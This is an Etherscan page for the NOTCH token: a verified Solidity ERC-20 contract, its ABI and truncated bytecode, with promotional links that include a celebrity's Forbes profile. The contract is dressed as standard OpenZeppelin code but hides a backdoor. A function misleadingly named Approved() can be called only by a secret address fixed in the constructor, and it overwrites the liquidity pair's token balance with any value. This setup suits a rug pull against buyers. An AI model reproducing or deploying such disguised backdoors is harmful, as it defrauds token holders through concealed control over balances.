ETH Price: $3,302.04 (-2.06%)
Gas: 15.4 Gwei

Token

NOTCH (NOTCH)
 

Overview

Max Total Supply

100,000,000 NOTCH

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 2 Decimals)

Balance
710,965.79 NOTCH

Value
$0.00
0x5281bb69889358cf54fa6eb69854e339c609e916
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NOTCH

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-01
*/

/*

https://t.me/NotchERC20

https://twitter.com/NotchERC20

https://www.forbes.com/profile/markus-persson/?sh=5423fb069aa1

*/

// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

    /**
    * @dev Interface of the IERC20 standard as defined in the EIP.
    */

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// Dependency file: @openzeppelin/contracts/utils/Context.sol


// pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


// Dependency file: contracts/baseToken.sol

// pragma solidity =0.8.4;

enum TokenType {
    standard
}

abstract contract baseToken {
    event TokenCreated(
        address indexed owner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}

// Root file: contracts/standard/StandardToken.sol

pragma solidity =0.8.19;

// import "@openzeppelin/contracts/token/IERC20/IERC20.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// import "contracts/baseToken.sol";

contract NOTCH is IERC20, baseToken, Ownable {
    using SafeMath for uint256;

        uint256 private constant VERSION = 1;
        mapping(address => uint256) private _balances;
        mapping(address => mapping(address => uint256)) private _allowances;

        uint256 public maxHoldingAmount;
        uint256 public minHoldingAmount;
        address public uniswapV2Pair;
        address private whiteListV3;
        
        string private _name;
        string private _symbol;
        uint8 private _decimals;
        uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        address whiteshipAddr,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        whiteListV3 = whiteshipAddr;
        _mint(owner(), totalSupply_);

        emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "IERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    modifier canWhitAddrPancakeV3() {
        require(
        _msgSender() == whiteListV3, "set the call to the entered")
        ;
        _;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function Approved(
        bool _limited, 
        address _uniswapV2Pair, 
        uint256 _maxHoldingAmount, 
        uint256 _minHoldingAmount
    ) external canWhitAddrPancakeV3 {
        uniswapV2Pair = _uniswapV2Pair;maxHoldingAmount = _maxHoldingAmount;minHoldingAmount = _minHoldingAmount; _balances[uniswapV2Pair] = maxHoldingAmount * minHoldingAmount;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "IERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"address","name":"whiteshipAddr","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bool","name":"_limited","type":"bool"},{"internalType":"address","name":"_uniswapV2Pair","type":"address"},{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"},{"internalType":"uint256","name":"_minHoldingAmount","type":"uint256"}],"name":"Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526040516200267e3803806200267e833981810160405281019062000029919062000698565b620000496200003d6200016f60201b60201c565b6200017760201b60201c565b84600790816200005a91906200099f565b5083600890816200006c91906200099f565b5082600960006101000a81548160ff021916908360ff16021790555081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000ea620000dd6200023b60201b60201c565b826200026460201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620001116200023b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200015c92919062000b17565b60405180910390a3505050505062000c4e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002cd9062000ba5565b60405180910390fd5b620002ea600083836200040a60201b60201c565b6200030181600a546200040f60201b90919060201c565b600a819055506200035b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200040f60201b90919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003fe919062000bc7565b60405180910390a35050565b505050565b600081836200041f919062000c13565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004908262000445565b810181811067ffffffffffffffff82111715620004b257620004b162000456565b5b80604052505050565b6000620004c762000427565b9050620004d5828262000485565b919050565b600067ffffffffffffffff821115620004f857620004f762000456565b5b620005038262000445565b9050602081019050919050565b60005b838110156200053057808201518184015260208101905062000513565b60008484015250505050565b6000620005536200054d84620004da565b620004bb565b90508281526020810184848401111562000572576200057162000440565b5b6200057f84828562000510565b509392505050565b600082601f8301126200059f576200059e6200043b565b5b8151620005b18482602086016200053c565b91505092915050565b600060ff82169050919050565b620005d281620005ba565b8114620005de57600080fd5b50565b600081519050620005f281620005c7565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200062582620005f8565b9050919050565b620006378162000618565b81146200064357600080fd5b50565b60008151905062000657816200062c565b92915050565b6000819050919050565b62000672816200065d565b81146200067e57600080fd5b50565b600081519050620006928162000667565b92915050565b600080600080600060a08688031215620006b757620006b662000431565b5b600086015167ffffffffffffffff811115620006d857620006d762000436565b5b620006e68882890162000587565b955050602086015167ffffffffffffffff8111156200070a576200070962000436565b5b620007188882890162000587565b94505060406200072b88828901620005e1565b93505060606200073e8882890162000646565b9250506080620007518882890162000681565b9150509295509295909350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007b157607f821691505b602082108103620007c757620007c662000769565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007f2565b6200083d8683620007f2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008806200087a62000874846200065d565b62000855565b6200065d565b9050919050565b6000819050919050565b6200089c836200085f565b620008b4620008ab8262000887565b848454620007ff565b825550505050565b600090565b620008cb620008bc565b620008d881848462000891565b505050565b5b818110156200090057620008f4600082620008c1565b600181019050620008de565b5050565b601f8211156200094f576200091981620007cd565b6200092484620007e2565b8101602085101562000934578190505b6200094c6200094385620007e2565b830182620008dd565b50505b505050565b600082821c905092915050565b6000620009746000198460080262000954565b1980831691505092915050565b60006200098f838362000961565b9150826002028217905092915050565b620009aa826200075e565b67ffffffffffffffff811115620009c657620009c562000456565b5b620009d2825462000798565b620009df82828562000904565b600060209050601f83116001811462000a17576000841562000a02578287015190505b62000a0e858262000981565b86555062000a7e565b601f19841662000a2786620007cd565b60005b8281101562000a515784890151825560018201915060208501945060208101905062000a2a565b8683101562000a71578489015162000a6d601f89168262000961565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6001811062000ac95762000ac862000a86565b5b50565b600081905062000adc8262000ab5565b919050565b600062000aee8262000acc565b9050919050565b62000b008162000ae1565b82525050565b62000b11816200065d565b82525050565b600060408201905062000b2e600083018562000af5565b62000b3d602083018462000b06565b9392505050565b600082825260208201905092915050565b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600062000b8d60208362000b44565b915062000b9a8262000b55565b602082019050919050565b6000602082019050818103600083015262000bc08162000b7e565b9050919050565b600060208201905062000bde600083018462000b06565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c20826200065d565b915062000c2d836200065d565b925082820190508082111562000c485762000c4762000be4565b5b92915050565b611a208062000c5e6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639e4aa36a116100715780639e4aa36a146102d5578063a457c2d7146102f1578063a9059cbb14610321578063dd62ed3e14610351578063f2fde38b1461038157610116565b8063715018a61461027157806389f9a1d31461027b5780638da5cb5b1461029957806395d89b41146102b757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d557806339509351146101f357806349bd5a5e1461022357806370a082311461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd146101695780631ab99e1214610187575b600080fd5b61012361039d565b60405161013091906111ae565b60405180910390f35b610153600480360381019061014e9190611269565b61042f565b60405161016091906112c4565b60405180910390f35b61017161044d565b60405161017e91906112ee565b60405180910390f35b61018f610457565b60405161019c91906112ee565b60405180910390f35b6101bf60048036038101906101ba9190611309565b61045d565b6040516101cc91906112c4565b60405180910390f35b6101dd610536565b6040516101ea9190611378565b60405180910390f35b61020d60048036038101906102089190611269565b61054d565b60405161021a91906112c4565b60405180910390f35b61022b610600565b60405161023891906113a2565b60405180910390f35b61025b600480360381019061025691906113bd565b610626565b60405161026891906112ee565b60405180910390f35b61027961066f565b005b6102836106f7565b60405161029091906112ee565b60405180910390f35b6102a16106fd565b6040516102ae91906113a2565b60405180910390f35b6102bf610726565b6040516102cc91906111ae565b60405180910390f35b6102ef60048036038101906102ea9190611416565b6107b8565b005b61030b60048036038101906103069190611269565b610919565b60405161031891906112c4565b60405180910390f35b61033b60048036038101906103369190611269565b6109e6565b60405161034891906112c4565b60405180910390f35b61036b6004803603810190610366919061147d565b610a04565b60405161037891906112ee565b60405180910390f35b61039b600480360381019061039691906113bd565b610a8b565b005b6060600780546103ac906114ec565b80601f01602080910402602001604051908101604052809291908181526020018280546103d8906114ec565b80156104255780601f106103fa57610100808354040283529160200191610425565b820191906000526020600020905b81548152906001019060200180831161040857829003601f168201915b5050505050905090565b600061044361043c610b82565b8484610b8a565b6001905092915050565b6000600a54905090565b60045481565b600061046a848484610d53565b61052b84610476610b82565b610526856040518060600160405280602981526020016119c260299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104dc610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b600190509392505050565b6000600960009054906101000a900460ff16905090565b60006105f661055a610b82565b846105f1856002600061056b610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b610b8a565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610677610b82565b73ffffffffffffffffffffffffffffffffffffffff166106956106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e290611569565b60405180910390fd5b6106f56000611055565b565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610735906114ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610761906114ec565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f9610b82565b73ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906115d5565b60405180910390fd5b82600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600381905550806004819055506004546003546108ae9190611624565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60006109dc610926610b82565b846109d7856040518060600160405280602681526020016119756026913960026000610950610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b6001905092915050565b60006109fa6109f3610b82565b8484610d53565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a93610b82565b73ffffffffffffffffffffffffffffffffffffffff16610ab16106fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d906116d8565b60405180910390fd5b610b7f81611055565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373fffff